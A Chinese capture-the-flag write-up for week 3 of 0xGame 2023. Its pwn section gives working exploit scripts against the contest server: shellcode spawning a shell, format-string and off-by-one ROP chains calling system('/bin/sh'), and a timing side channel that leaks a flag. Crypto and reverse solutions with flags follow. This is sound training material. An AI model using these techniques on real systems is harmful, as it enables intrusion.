• [0xGame 2023 公开赛道] week3

    9点停止提交，抓紧时间写出来，明天还有别的题。

    PWN

    edit-shellcode-runtime

    可以输入shellcode然后执行，但是禁用了\x0f\x05(syscall，箭头处)，这里需要用前边的程序把这个syscall弄出来。我这里最后一个字符输入\x0f再在后边异或出个\x05就行了。

    1. from pwn import *
    2.  
    3. #p = process('./pwns')
    4. p = remote('8.130.35.16', 53003)
    5. context(arch='amd64', log_level='debug')
    6.  
    7. #gdb.attach(p, "b*0x20230000\nc")
    8.  
    9. p.sendlineafter(b"Input your code length:\n", b'32')
    10.  
    11. #在0x21处异或得到5,与前部组成0f05(syscall)实在read(0,+20,rdx利用残留)
    12. pay = '''
    13. mov rsi, 0x20230020
    14. push 0x5
    15. pop rax
    16. xor [rsi],rax
    17. xor rdi,rdi
    18. xor rax,rax
    19. '''
    20. shellcode = asm(pay).ljust(0x1f, b'\x90') + b'\x0f'
    21. p.sendafter(b"Now show me your code:\n", shellcode)
    22. p.sendlineafter(b"Where?\n", b'4db030')
    23. p.sendafter(b"What?\n", p64(0x20230000))
    24.  
    25. p.send(b'\x05'+ asm(shellcraft.sh()))
    26. p.interactive()

     

    fmt3

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3.   char v4; // [rsp+Fh] [rbp-111h]
    4.   char buf[264]; // [rsp+10h] [rbp-110h] BYREF
    5.   unsigned __int64 v6; // [rsp+118h] [rbp-8h]
    6.  
    7.   v6 = __readfsqword(0x28u);
    8.   bufinit();
    9.   puts("Now things become a little interesting.");
    10.   puts("But not that interesting......");
    11.   puts("GO! GO! GO!");
    12.   do
    13.   {
    14.     do
    15.     {
    16.       printf("Input your content: ");
    17.       read(0, buf, 0x100uLL);
    18.       printf(buf);
    19.       puts("Want more?");
    20.       v4 = getchar();
    21.     }
    22.     while ( v4 == 'y' );
    23.   }
    24.   while ( v4 == 89 );
    25.   return 0;
    26. }

    跟前两周比，这里开了PIE，不过用处不大，在取得libc和栈地址后，可以在返回地址写上ROP

    1. from pwn import *
    2.  
    3. #p = process('./fmt3')
    4. p = remote('8.130.35.16', 52002)
    5. context(arch='amd64', log_level='debug')
    6.  
    7. #gdb.attach(p, "b*0x555555555309\nc")
    8. libc = ELF('./libc.so.6')
    9.  
    10. p.sendafter(b"Input your content: ", b'%40$p,%43$p,%41$p,')
    11. stack = int(p.recvuntil(',', drop=True), 16) - 0xe8
    12. libc.address = int(p.recvuntil(',', drop=True), 16) - 243 - libc.sym['__libc_start_main']
    13. print(f"{stack = :x} {libc.address = :x}")
    14. p.sendafter(b"Want more?", b'y')
    15.  
    16. pop_rdi = next(libc.search(asm('pop rdi;ret')))
    17. pop_rsi = next(libc.search(asm('pop rsi;ret')))
    18.  
    19. pay = flat(pop_rdi, next(libc.search(b'/bin/sh\x00')))
    20. pay = fmtstr_payload(8, {stack: pay})
    21. p.sendafter(b"Input your content: ", pay)
    22. p.sendafter(b"Want more?", b'y')
    23.  
    24. pay = flat(pop_rsi,0, )
    25. pay = fmtstr_payload(8, {stack+0x10: pay})
    26. p.sendafter(b"Input your content: ", pay)
    27. p.sendafter(b"Want more?", b'y')
    28.  
    29. pay = flat(pop_rdi+1,libc.sym['system'])
    30. pay = fmtstr_payload(8, {stack+0x20: pay})
    31. p.sendafter(b"Input your content: ", pay)
    32. p.sendafter(b"Want more?", b'n')
    33.  
    34. p.interactive()

     

    FOP_shellcode-any-revenge

    这个题没get到真正的解题点，也许是非预期，反正作的相当麻烦。

    第1个圈是在运行shellcode时先跳个rand()%256 由于只能写入256字节，所以为了防止命中，需要shellcode尽量短

    第2个圈个沙箱也就是不能得到shell

    第3个圈是关掉了标准输出。拿不到shell也拿不到输出我猜就只能侧信道攻击，所以这个题作得相当麻烦。

    第4点没圈出来，就是文件名不是flag也就是需要爆破文件名

    思路：

    1是先爆破文件名，这里需要打开目录，然后读（程序与后边相同）目录名问了别有用getdents，这里由于命令过行，只写入一个read并充分利用残留，让shell尽量小，然后再读入后续程序。虽然程序已经尽量小，但也会中断。所以要爆破好久。

    2把数据读到指定区域后逐个字符试，如果相同就进入死循环，不同就exit，这样就可以通过是否中断判断是否猜中。

    1. from pwn import *
    2.  
    3. context(arch='amd64', log_level='error')
    4.  
    5. def read_v(offset, v):
    6.     p = remote('8.130.35.16', 53001)
    7.     #p = process('./ret2shellcode-revenge')
    8.     #gdb.attach(p, "b*0x555555555540\nc")
    9.     #读目录爆破文件名
    10.     #pay2 = shellcraft.open('.')+shellcraft.getdents('rax',target,0x400)
    11.     #读文件
    12.     pay2 = shellcraft.open('flag-5cd1e4c895')+shellcraft.read('rax',target,0x40)
    13.     pay2 += f'lab: mov rax, 0x{offset:x};mov cl,byte ptr [rax]; cmp cl, {v}; je lab;' + shellcraft.exit(0)
    14.     s2 = b'\x90'*0x100+asm(pay2)
    15.     #pay = shellcraft.read(0,0x20230100,len(s2))
    16.     pay = "xor edi,edi;push rdx;pop rsi;syscall;"  #减小长度,减小被rand命中
    17.     p.sendafter(b"Now show me your code:\n", asm(pay).rjust(256, b'\x90')+s2)
    18.     p.recvline()
    19.     try:
    20.         p.recv(timeout=0.3)
    21.         p.close()
    22.         #p.interactive()
    23.         return True
    24.     except:
    25.         p.close()
    26.         return False
    27.  
    28. target = 0x20230200 #写目录和文件
    29. #爆破各目录项的长度
    30. #目录项结构: struct linux_dirent {unsigned long d_ino;off_t d_off;unsigned short d_reclen;char d_name[];}; 8 8 2 s 
    31. #dir 0x20+0x18+0x20+0x20+0x18+0x18+0x30+0x20+0x18+0x20+0x28+0x20
    32. dlist = [0x20,0x18,0x20,0x20,0x18,0x18,0x30,0x20,0x18,0x20,0x28,0x20]
    33. #.bashrc . .bx .px .. bin ret2re.. lib lib
    34. while 1:
    35.     for i in range(0, 0x40, 8):
    36.         if read_v(target+0x10+sum(dlist), i):
    37.             print(hex(i),'!')
    38.             dlist.append(i)
    39.             print(' '.join([hex(_)[2:] for _ in dlist]))
    40.             break
    41.         else:
    42.             print(i,'x', )
    43.     if dlist[-1] == 0:
    44.         break
    45.  
    46. print(dlist)
    47.  
    48. name = 'flag-5cd1e4c895'
    49. '''
    50. #爆破目录文件名,确定flag文件名
    51. dic = b'.\x000123456789abcdef-ghijklmnopqrstuvwxyz'
    52. for i in range(5):
    53.     for i in dic:
    54.         if read_v(target+sum(dlist[:10]) + 0x10+2 + len(name), i):
    55.             name += chr(i)
    56.             print('name:',name)
    57.             break
    58.         else:
    59.             print(chr(i), end=' ')
    60. '''
    61.  
    62.  
    63. dic = b'0123456789_}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-' 
    64. name = '0xGame{N0_0n3_c4n_sTop_my_C0de_8v2yuwe7}'
    65. for i in range(50):
    66.     for i in dic:
    67.         if read_v(target+len(name), i):
    68.             name += chr(i)
    69.             print('name:',name)
    70.             break
    71.         else:
    72.             print(chr(i), end=' ')

    linux-fd

    这题一开始想很简单，然后没弄成，最后看来还是很简单，只是有个小坑。

    先关闭标准输出，再打开flag，这时候会从最小文件描述符开始用，也就是1，然后写的时候由于输出已经关闭了，可以向0或2输出。

    不过这里有个小坑，输入文件名的时候，如果手工输入会有个回车，而filename[xx]=0并不能把这个回车删掉。所以手工一直没整成。改程序就OK了。

    1. from pwn import *
    2.  
    3. context(arch='amd64', log_level='debug')
    4.  
    5. p = remote('8.130.35.16', 53000)
    6.  
    7. #p = process('./fd')
    8. #gdb.attach(p, "b*0x40138b\nc")
    9.  
    10. p.sendafter(b"Input filename to open: ", b'./flag')  #filename[read(0,filename,0)]=0 并不能删掉未必的回车,手工输入不行
    11. p.sendlineafter(b"Input file id to read from: ", b'1') #close(1)后,打开文件会使用最小fd 1
    12. p.sendlineafter(b"Input file id to write to: ", b'2') #输出重定向到0或2均可
    13. print(p.recv(0x1ff))
    14.  
    15. p.interactive()

     

    poison-stack-base

    这个漏洞写得过于直白

    1. int vuln()
    2. {
    3.   char v1[256]; // [rsp+0h] [rbp-100h] BYREF
    4.  
    5.   puts("Try perform ROP!");
    6.   custom_gets_off_by_one_or_null((__int64)v1, 256);
    7.   return puts("Good luck!");
    8. }

    custom_gets_off_by_one_or_null就是个1字节溢出，可以覆盖rbp的尾字节，这样会移栈到前边，虽然位置不定，但只要ROP足够短，成功率不敢说100%也够高的。

    1. from pwn import *
    2.  
    3. #p = process('./poison-rbp')
    4. p = remote('8.130.35.16', 52004)
    5. context(arch='amd64', log_level='debug')
    6.  
    7. #gdb.attach(p, "b*0x401290\nc")
    8.  
    9. elf = ELF('./poison-rbp')
    10. libc = ELF('./libc.so.6')
    11.  
    12. pop_rdi = 0x0000000000401393 # pop rdi ; ret
    13. pop_rsi = 0x0000000000401391 # pop rsi ; pop r15 ; ret
    14.  
    15. #利用写满256后 off_by_null的0修改 rbp尾字节为0移栈执行前部的ROP
    16. #vuln 去掉push rbp, 使用原栈再次读ROP执行
    17. pay = p64(pop_rdi+1)*28 + flat(pop_rdi, elf.got['puts'], elf.plt['puts'], 0x401259)
    18. p.sendafter(b"Try perform ROP!\n", pay)
    19. p.recvline()
    20. libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['puts']
    21. print(f"{libc.address = :x}")
    22.  
    23. pay = p64(pop_rdi+1)*25 + flat(pop_rdi, next(libc.search(b'/bin/sh')), pop_rsi,0,0, libc.sym['system'])
    24. p.sendafter(b"Try perform ROP!\n", pay)
    25.  
    26. p.interactive()

    REV

    java专场

    代码启示录

    反编译后不解释

    1. package defpackage;
    2.  
    3. import java.util.Scanner;
    4.  
    5. /* renamed from: Main  reason: default package */
    6. /* loaded from: 代码启示录.jar:Main.class */
    7. public class Main {
    8.     public static void main(String[] args) {
    9.         Scanner scanner = new Scanner(System.in);
    10.         System.out.print("请输入你的答案：");
    11.         String userInput = scanner.nextLine();
    12.         if (userInput.equals("0xGame{038e8685-0a59-a868-ed44-979261e99faf}")) {
    13.             System.out.println("恭喜你，打开了神秘的门！");
    14.         } else {
    15.             System.out.println("很遗憾，你的答案不正确！");
    16.         }
    17.         scanner.close();
    18.     }
    19. }

    数字幽灵

    一个base58变表，但是这个storedFlag找不到，一般在R/layout下，但找遍了没有，然后解包后发现一个resources.arsc文件，直接打开（java不加密）看到密文

    1. zip解包后010打开 resources.arsc
    2. 找到base58串,变表:ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz
    3. RmC442S4tDMzc3CvzoCx8toKodL8SE8GRQSmz8M84k6g9jG1vVrf3c5TECZR
    4. 0xGame{5f7dc2d9-5243-f706-cdbf-12e34dd3970c}

    虚构核心

    打开就发现什么叫虚构核心了，先要打开一个dex文件，然后异或解密后保存，再打开运行进行。

    处理文件 后打开，可以看到3个md5串，这个都只有4字节可以爆破也可以从网上查。

    1. from pwn import xor
    2. '''
    3. key = b"The0xGameKey"
    4. c = open('encrypted.dex','rb').read()
    5. open('decrypted.dex','wb').write(xor(c, key))
    6. '''
    7. #44,-,5
    8. #0xGame{f5bf50a3-9988-61ee-8c00-f3eddaccb39f}
    9. md5k = ["69b4fa3be19bdf400df34e41b93636a4", "76b662c5c3d6d98035190115d89ef42f", "87fff610a9c97ebbe5a16a6d4865c0e4"]
    10.  
    11. '''
    12. public class FlagChecker {
    13.     public static boolean checkFlag(String input) {
    14.         if (input.length() == 44 && input.startsWith("0xGame{") && input.endsWith("}")) {
    15.             String content = input.substring(7, input.length() - 1);
    16.             String[] parts = content.split("-");
    17.             if (parts.length != 5 || !"f5bf50a3".equals(parts[0]) || !"f3eddaccb39f".equals(parts[4])) {
    18.                 return false;
    19.             }
    20.             String[] md5Strings = {"69b4fa3be19bdf400df34e41b93636a4", "76b662c5c3d6d98035190115d89ef42f", "87fff610a9c97ebbe5a16a6d4865c0e4"};
    21.             for (int i = 1; i <= 3; i++) {
    22.                 if (parts[i].length() == 4 && !md5Strings[i - 1].equals(md5(parts[i]))) {
    23.                     return false;
    24.                 }
    25.             }
    26.             return true;
    27.         }
    28.         return false;
    29.     }
    31.     public static String md5(String input) {
    32.         try {
    33.             MessageDigest md = MessageDigest.getInstance("MD5");
    34.             byte[] messageDigest = md.digest(input.getBytes());
    35.             StringBuilder sb = new StringBuilder();
    36.             for (byte b : messageDigest) {
    37.                 sb.append(String.format("%02x", Integer.valueOf(b & 255)));
    38.             }
    39.             return sb.toString();
    40.         } catch (NoSuchAlgorithmException e) {
    41.             throw new RuntimeException("MD5加密出现错误");
    42.         }
    43.     }
    44. }
    45. '''

     

    变量迷城

    这里用了一个变量x 和"0xGame"连一起作为key加密

    1. public class Main {
    2.     private static BiPredicate equationCheck = x, y -> {
    3.         BigInteger eq1 = x.pow(2).add(y.pow(2).multiply(BigInteger.valueOf(2L))).add(x.multiply(BigInteger.valueOf(3L))).add(y.multiply(BigInteger.valueOf(4L))).subtract(new BigInteger("7384462351178"));
    4.         BigInteger eq2 = x.pow(2).multiply(BigInteger.valueOf(5L)).add(y.pow(2).multiply(BigInteger.valueOf(6L))).add(x.multiply(BigInteger.valueOf(7L))).add(y.multiply(BigInteger.valueOf(8L))).subtract(new BigInteger("22179606057658"));
    5.         return eq1.equals(BigInteger.ZERO) && eq2.equals(BigInteger.ZERO);
    6.     };
    7.     private static Byte[] encryptedFlag = {(byte) 1, (byte) 73, (byte) 115, (byte) 84, (byte) 92, (byte) 81, (byte) 75, (byte) 65, (byte) 116, (byte) 84, (byte) 90, (byte) 93, (byte) 7, (byte) 2, (byte) 87, (byte) 24, (byte) 83, (byte) 87, (byte) 84, (byte) 64, (byte) 106, (byte) 4, (byte) 9, (byte) 86, (byte) 84, (byte) 28, (byte) 4, (byte) 5, (byte) 9, (byte) 82, (byte) 29, (byte) 74, (byte) 119, (byte) 85, (byte) 93, (byte) 1, (byte) 3, (byte) 84, (byte) 0, (byte) 0, (byte) 1, (byte) 0, (byte) 3, (byte) 5};
    8.  
    9.     public static void main(String[] args) throws IOException {
    10.         String envVar1 = System.getenv("x");
    11.         String envVar2 = System.getenv("y");
    12.         String brand = System.getProperty("brand");
    13.         if (brand == null || envVar1 == null || envVar2 == null) {
    14.             brand = "0";
    15.             envVar2 = "0";
    16.             envVar1 = "0";
    17.         }
    18.         BigInteger x = new BigInteger(envVar1);
    19.         BigInteger y = new BigInteger(envVar2);
    20.         if (equationCheck.test(x, y) && brand.equals("0xGame")) {
    21.             String decryptedFlag = decryptFlag(encryptedFlag, x, brand);
    22.             System.out.println("恭喜你找到了通往真相的路！");
    23.             System.out.println("秘密：" + decryptedFlag);
    24.             return;
    25.         }
    26.         System.out.println("你似乎迷路了~");
    27.     }
    28.  
    29.     private static String decryptFlag(Byte[] encryptedFlag2, BigInteger javaClassVersion, String systemVar) {
    30.         String key = javaClassVersion + systemVar;
    31.         StringBuilder flag = new StringBuilder();
    32.         for (int i = 0; i < encryptedFlag2.length; i++) {
    33.             flag.append((char) (encryptedFlag2[i].byteValue() ^ key.charAt(i % key.length())));
    34.         }
    35.         return flag.toString();
    36.     }
    37. }

    这个x 回到z3了，解出来放上就行了

    1. encryptedFlag = [1, 73, 115, 84, 92, 81, 75, 65, 116, 84, 90, 93, 7, 2, 87, 24, 83, 87, 84, 64, 106, 4, 9, 86, 84, 28, 4, 5, 9, 82, 29, 74, 119, 85, 93, 1, 3, 84, 0, 0, 1, 0, 3, 5]
    2.  
    3. from z3 import * 
    4. s = Solver()
    5. x,y = Ints("x y")
    6.  
    7. s.add(x*x + 2*y*y + 3*x + y*4 == 7384462351178)
    8. s.add(x*x*5 + y*y*6 +x*7 + y*8 == 22179606057658)
    9.  
    10. s.check()
    11. s.model()
    12.  
    13. x = 114514
    14. y = 1919810
    15.  
    16. key = '1145140xGame'
    17. xor(bytes(encryptedFlag), key.encode())
    18. b'0xGame{9357863c-bcd8-ed3e-008f-2040d2e45043}'

    CRYPTO

    EzECC

    这题给了一个自制的椭圆曲线，一个很小的r可以爆破。然后是C = M + r*K求M

    1. from Crypto.Util.number import *
    2. from secret import msg
    3. import random
    4.  
    5. flag = b'0xGame{' + msg + b'}'
    6.  
    7. q = getPrime(80)
    8. a,b= [random.randrange(1,q-1) for i in range(2)]
    9.  
    10. def add(P,Q):
    11. 	if P[0] != Q[0] and P[1] != Q[1]:
    12. 		t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %q
    13. 	else:
    14. 		t = ((3*P[0]*P[0]+a) * inverse(2*P[1],q))%q      #y^2 = x^3 + a*x + b
    15. 	x3 = t*t - P[0] - Q[0]
    16. 	y3 = t*(P[0] - x3) - P[1]
    17. 	return (x3%q, y3%q)
    18.  
    19. def mul(t, A, B=0):
    20.     if not t: return B
    21.     return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)
    22.  
    23. assert len(msg)%2==0
    24. m1=bytes_to_long(msg[:len(msg)//2])
    25. m2=bytes_to_long(msg[len(msg)//2:])
    26.  
    27. k = random.getrandbits(64)
    28. G = (641322496020493855620384 , 437819621961768591577606)
    29. K = mul(k,G)
    30.  
    31. M = (m1,m2)
    32. r = random.getrandbits(16)
    33.  
    34. C_1 = add(M,mul(r,K))
    35. C_2 = mul(r,G)
    36.  
    37. print(f'q={q}\na={a}\nb={b}\n')
    38. print(f'G = {G}\nK = {K}\nC_1={C_1}\nC_2={C_2}')

    试了好久才发现这人M不能用add里的公式从用C和rK推出来，因为这是阿贝尔群（hint）。于是查了下阿贝尔群上的减法。

    1. q=1139075593950729137191297
    2. a=930515656721155210883162
    3. b=631258792856205568553568
    4.  
    5. G = (641322496020493855620384, 437819621961768591577606)
    6. K = (781988559490437792081406, 76709224526706154630278)
    7. C_1=(55568609433135042994738, 626496338010773913984218)
    8. C_2=(508425841918584868754821, 816040882076938893064041)
    9.  
    10. #爆破出r
    11. for r in range(1<<16):
    12.     if mul(r,G) == C_2:
    13.         print(r)
    14.         break 
    15.  
    16. r = 10077
    17.  
    18.  
    19. rK = mul(r,K)
    20. rK = (550786064209051189742959, 152240627779498678778874)
    21.  
    22. #M = C1 + -rK 
    23. FrK = (550786064209051189742959, -152240627779498678778874%q)
    24. M = add(C_1,FrK)
    25. m1,m2 = M
    26. from Crypto.Util.number import long_to_bytes as l2b 
    27. l2b(int(m1))+l2b(int(m2))  #???????
    28. #Al1ce_L0ve_B0b

     

    LLL-FirstBlood

    先出的2血那道，1血很久才出

    1. from random import randrange
    2. from Crypto.Util.number import getPrime,bytes_to_long
    3. from secret import flag
    4. assert len(flag) % 4 == 0
    5.  
    6. length = len(flag)//4
    7. m = [bytes_to_long(flag[i*length:(i+1)*length]) for i in range(4)]
    8. p = getPrime(int(128))
    9.  
    10. def MakeMask(n,p):
    11.     upper = identity_matrix(n)
    12.     low = identity_matrix(n)
    13.     for i in range(n-1):
    14.         for j in range(i+1, n):    
    15.             upper[i, j] = randrange(1, p)
    16.             low[j, i] = randrange(1, p)
    17.     result = upper * low
    18.     assert det(result) == 1
    19.     return result
    20.  
    21. def Matrix2List(x):return [list(i) for i in x]
    22.  
    23. noise = [[randrange(1, p) for i in range(4)] for _ in range(4)]
    24. noise[0] = m
    25. M = matrix(noise)
    26. A = MakeMask(4,p)
    27. C = A*M
    28.  
    29. print(f'p={p}')
    30. print(f'C={Matrix2List(C)}')
    31. '''
    32. p=198880159035681668071031460916089145469
    33. C=[[1528140902799730745476264672501768332416990282355490479242339131918301176698899635154781328839496210200676497333428, 2081687444435007467807250373278513114045272585243815458840083487459795021302180077490134099644993120009567147202772, 3080873409460299046339495750746632185307246572817534784703936044874106809413620470006445984962733721029566440253675, 3491734341995174183626991907292607070252197520631412767989879432598743851171175369180080355977574296558734415823458], [2359409535809048127331244699867147546817134802610067329431135227991488324148374065940238308147500809599395748756798, 3191196199160821446351036460385791985682645040446022512790815348810555748825420237291839170774872264097466183208742, 4665346530155386457242345394284286198347336281451530670818113876767736288089400119492317775648206643242839430899283, 5369350746042850276067380638571565496087948799720968959426256192923852197959381101839484196445995828389461004495917], [1641407111066265429602929560264443103285908072677065498760570514577412905392260182334706635555256537745902283191251, 2190536173399177167068153351271988931232272884028569669242062395087922275021628334797729266560930040116807133977244, 3127556759140845426132305699421707182108351516931881411928719802847628408656887897596425133523782526561471050447359, 3707239956529200159380870618471703921011276020439315706352183576289925263316580408968092016782483770373121972835410], [9883814543195849013523934427451407019514807606993414569626142656857168165339, 13190422499129347541373922929251088892868361241120937213742340947017395215646, 18832738552342488056498211782604832513006649329982003661701684946590064734701, 22323329751908690611034666068697427811613727429398087082295754189068333861152]]
    34. '''

    A是一个由上三角随机和下三解随机乘的矩阵，对角线为1，只给了个C，这人C其实和M在同一个格上，所以就有直接取格就OK

    1. C = matrix(C)
    2. L = C.LLL()
    3. b''.join([l2b(-i) for i in row])
    4. #b'0xGame{8e4d5924dc4cd78f11c1eeb99e991ab3}'

    LLL-SecondBlood

    这是个HNP问题

    1. from secret import flag
    2.  
    3. m = bytes_to_long(flag)
    4. q = getPrime(512)
    5. assert m.bit_length() == 318
    6.  
    7. def encrypt(m):
    8. 	mask,noise = getPrime(511),getPrime(50)
    9. 	mask_.append(mask)
    10. 	noise_.append(noise)
    11. 	c = (mask*m + noise)%q
    12. 	return c
    13.  
    14. noise_,mask_  =[[] for _ in range(2)]
    15. c_ = [encrypt(m) for i in range(4)]
    16.  
    17. print(f'q = {q}\nmask = {mask_}\nc_ = {c_}')

    用格的那个程序

    1. p = 9342426601783650861020119568565656404715236059903009041977149778244153930435908024696666887269890479558473622355346816236972767736577737332173213722012253
    2. T = [6237128445236992920577225644858662677575951126467888858782461334057970069468925833844231116647406833999142659751374620280213290736114576089069396331226747, 6368031389213953889417545256750169233725975229197446803885029159767701479445576860704561593200907482372690851152126782391126462547524526631934408981070841, 5106473460982791188578285397420642137630347289252852045044021197988607082777231839839730169682158507822078412449827976663385282021916120837408192506341443, 6318090842950331228033349517542810123596316850353637421587264886413877142612686177796023049304908696413386218992511112752788640732410845589679820003047667]
    3. A = [3823539664720029027586933152478492780438595004453489251844133830947165342839393878831914879334660250621422877333022321117120398528430519794109624186204492, 1721659645750224819953244995460589691120672649732560768435214608167861246790136217219349234604724148039910656573436663379375048145045443527267790379816425, 668633520079344839648950502380059311916108468801009386138810324259146523323704014491547148973835774917331333581475920804677395949854411894556705238578896, 497860586379981076499130281851986010889356253371192266267220334713415782402939318483926418213877341511996918189750595755372560345085899109305344338944066]
    4. B = 2^50
    5. sol = hnp(p, T, A, B, verbose=True)
    6. #0xGame{19255b5c7b19c790e28d87c8a8bb1d33}

    EzMatrix

    矩阵DLP问题

    1. from Crypto.Util.number import getPrime
    2. from random import randint
    3. from secert import secert,flag
    4. from hashlib import md5
    5. def n2b(n):return md5(str(n).encode()).hexdigest()
    6.  
    7. assert secert < pow(2,64)
    8. assert flag == '0xGame{'+n2b(secert)+'}'
    9.  
    10. def Martix2list(Martix):
    11.     result = []
    12.     Martix = list(Martix)
    13.     for i in Martix:
    14.         result.append(list(i))
    15.     return result
    16.  
    17. enc = A**secert
    18.  
    19. def Martix2list(Martix):
    20.     result = []
    21.     Martix = list(Martix)
    22.     for i in Martix:
    23.         result.append(list(i))
    24.     return result
    25.  
    26. with open('enc.txt','w') as f:
    27.     f.write(str(Martix2list(enc)))

    这个真不会了，拿了师傅的WP终于明白方法跟数字和椭圆曲线还是有点区别的，因为不能直接用discrete_log要自己写个大步小步法求

    1. #C = A^secret 
    2. n = 12
    3. G=[[12143520799533590286, 1517884368, 12143520745929978443, 796545089340, 12143514553710344843, 28963398496032, 12143436449354407235, 158437186324560, 12143329129091084963, 144214939188320, 12143459416553205779, 11289521392968],[12143520799533124067, 1552775781, 12143520745442171123, 796372987410, 12143514596803995443, 28617862048776, 12143437786643111987, 155426784993480, 12143333265382547123, 140792203111560, 12143460985399172467, 10983300063372],[12143520799533026603, 1545759072, 12143520746151921286, 781222462020, 12143514741528175043, 27856210942560, 12143440210529480891, 150563969013744, 12143339455702534403, 135941365971840, 12143463119774571623, 10579745342712],[4857408319806885466, 2428704161425648657, 12143520747462241175, 758851601758, 12143514933292307603, 7286139389566980165, 9714738936567334300, 144947557513044, 12143346444338047691, 130561054163540, 4857352974113333366, 2428714303424782417],[12143520799533339320, 1476842796, 12143520749060275613, 733281428880, 12143515144091549812, 25896324662208, 12143446129977471347, 139126289668080, 12143353609086952433, 125093278125816, 12143467808884068695, 9705993135696],[3469577371288079926, 5204366058378782250, 12143520750775862343, 706665985740, 12143515359139397843, 24876891455539, 12143449149385190675, 5204499435641729607, 1734628523990131469, 119757210113970, 12143470097256549947, 9282407958928],[10986995009101166671, 1734788687033207505, 12143520752514668698, 680173911560, 12143515570582515443, 23883386182656, 12143452072344092516, 10408859957710764174, 8673790006740000925, 4047954924507284041, 12143472277719610437, 8879790035168],[12143520799534210329, 8095680534365818753, 12143520754224346525, 6071761054204856029, 12143515774342357443, 22931775530664, 12143454859049102627, 122586336122081, 12143373761302849103, 109840689548590, 8095634066844843878, 8500892291801],[2428704159899526175, 7286112481016467893, 12143520755876491019, 629765964828, 12143515968446948123, 9714838668887734012, 4857345013259425502, 117630592711632, 12143379764863568374, 105318302849760, 2428659620509049335, 7286120625945355053],[7286112479717322389, 7286112480971640825, 12143520757456628435, 606320684970, 12143516152115449139, 4857429497934652454, 4857347490735050126, 112978994964264, 12143385390297217523, 101086824360217, 7286069740980100293, 7286120294834973633],[7727695054246476847, 1202487728, 12143520758958480293, 584144077140, 12143516325240923843, 20377952745696, 12143462294760579275, 108622249048560, 12143390651947217363, 97133513961120, 12143479741445599772, 8831658996900830432],[12143520799535388887, 1161628182, 12143520760380594623, 563225247585, 12143516488091679443, 19626876325056, 12143464472820678035, 104545135017180, 12143395570399006523, 93441517429260, 12143481309754543787, 7218375794633]]# 12*12
    4. p = 12143520799543738643
    5. A = Matrix(GF(p),A)
    6. enc = [[11285847990515095003, 7585413350741918021, 11658254512436412666, 477577914899276103, 2941386515764607825, 11283325421744133699, 4096971712575507616, 8118672870538606033, 2377937081025778041, 6576171711896495163, 6152554374963853172, 5022013484610428974], [8354008012616001452, 7787447107046065118, 9504997911333967278, 1082773427768571094, 6015520658629219637, 11244285744740006951, 4493944053220750368, 3504246247470690014, 1738582001618280397, 2330057776906622572, 3043456814665571080, 2981613454022714952], [2508674373714509177, 3544963739532775937, 7952732753025175616, 11161786730565526285, 3397123486689639675, 6454135592624912854, 6613201018024296927, 9748485344986779929, 1819761609989340766, 1259944825407465767, 1596049024644778041, 7769939905324967788], [4200851163596876950, 11960539098651202761, 3303721151143544462, 2532304102428121556, 11083895221097319129, 1171933471304558017, 1549099593543874478, 6088238862927163233, 6459553630361959801, 947358195425767572, 2090533922210134578, 9023030120605201052], [2271102089902208138, 1614812525306266829, 1546249462332047661, 3168333397191737100, 7678980468150522028, 3128939172985153696, 1146041044751755224, 11870173227065140617, 8351303466095252790, 694704483676649448, 7944218023016968278, 583421745603756386], [10309472503110333289, 1100598261990718822, 10235859400888405310, 910925705831020921, 10771855884237562064, 9970830255165655653, 11678899608458971536, 4368822164222204233, 3104861419162339779, 4540709628196554222, 7851809145727500968, 12086896840826708824], [10973051751637593366, 5039073157846327641, 4855314857834773443, 4416954195828423951, 8243966437000815560, 8250554263390748131, 8093181066366682440, 1145520354143718292, 294729013023637045, 10115389386419597159, 2767140395261835843, 6724257139233017485], [6878768250003631244, 10834164422364241529, 6946589221005878489, 539734218479521833, 2691724062063066048, 3989403041446358401, 815244541494093987, 11168528286389981272, 2021358468726921955, 1123433019094267521, 524639025046508882, 5720273332497702547], [6688451244183880831, 10892730373179989558, 6987453292894341174, 5572212176769878684, 11332149024403380575, 3944612864568504791, 6768594304071589280, 10526434024562201079, 10241323610053039912, 1120473558410865753, 306153635148226248, 3606666063074222104], [7556871914690327290, 11353594909211427742, 747771112781361153, 1245068803956910299, 2831489557155431404, 1800035620948876551, 1050411779595241927, 5665981688041778089, 2028968510484240787, 4386552235402890530, 10334391443650474796, 3883841302951550608], [4485787817401669404, 184501191500952934, 3690661645276970957, 6263309802498749034, 6484490370652685031, 9743108369653588026, 3045941510087387269, 5870433915209047275, 4679598273992216016, 11839352681285251516, 4957980185504231911, 7925596893607015470], [1000449712878466719, 7022601702937838844, 1095849907482791166, 11989051568709522226, 6768031250066783733, 185945517026191241, 4280928696740160411, 5633542561098902406, 10176177574499086410, 5782837249861240943, 7406530879613861823, 1971858224839520916]]
    7. enc = matrix(GF(p), enc)
    8.  
    9. #
    10. def bsgs(P, Q, sub):
    11.     dic = dict()
    12.     m = sqrt(sub).round()
    13.  
    14.     nowP = P**0
    15.     for i in range(m + 1):
    16.         dic[str(nowP)] = i
    17.         nowP *= P
    18.     mQ = P**(-m)
    19.     nowQ = Q
    20.     for i in range(m + 1):
    21.         if str(nowQ) in dic:
    22.             ans = i*m + dic[str(nowQ)]
    23.             print(ans, P**ans == Q)
    24.             return ans
    25.         nowQ *= mQ
    26.  
    27. order = A.multiplicative_order()
    28. #order = 12143520799543738642
    29. #factor(order)
    30. fac = [2, 23, 229, 593, 1944001580291]
    31. cs = []
    32. for f in fac:
    33.     print(f)
    34.     cs.append(bsgs(A^(order//f), enc^(order//f), f))
    35.     
    36. secret = crt(cs, fac)
    37. print(secret)
    38. '''
    39. 2
    40. 1 True
    41. 23
    42. 18 True
    43. 229
    44. 57 True
    45. 593
    46. 419 True
    47. 1944001580291
    48. 1720136691537 True
    49. [1, 18, 57, 419, 1720136691537]
    50. '''
    51. def n2b(n):return md5(str(n).encode()).hexdigest()
    52.  
    53. print('0xGame{'+n2b(secret)+'}')
    54. #'0xGame{06450201eb6171d40151563d967e59ea}'

    EzOverflow

    这题不说了，虽然检查不能和0xGame相同但是用的bytes_to_long所以可以前边输入\x00绕过。

    MISC

     不怎么作MISC，两个编程小题记录一下

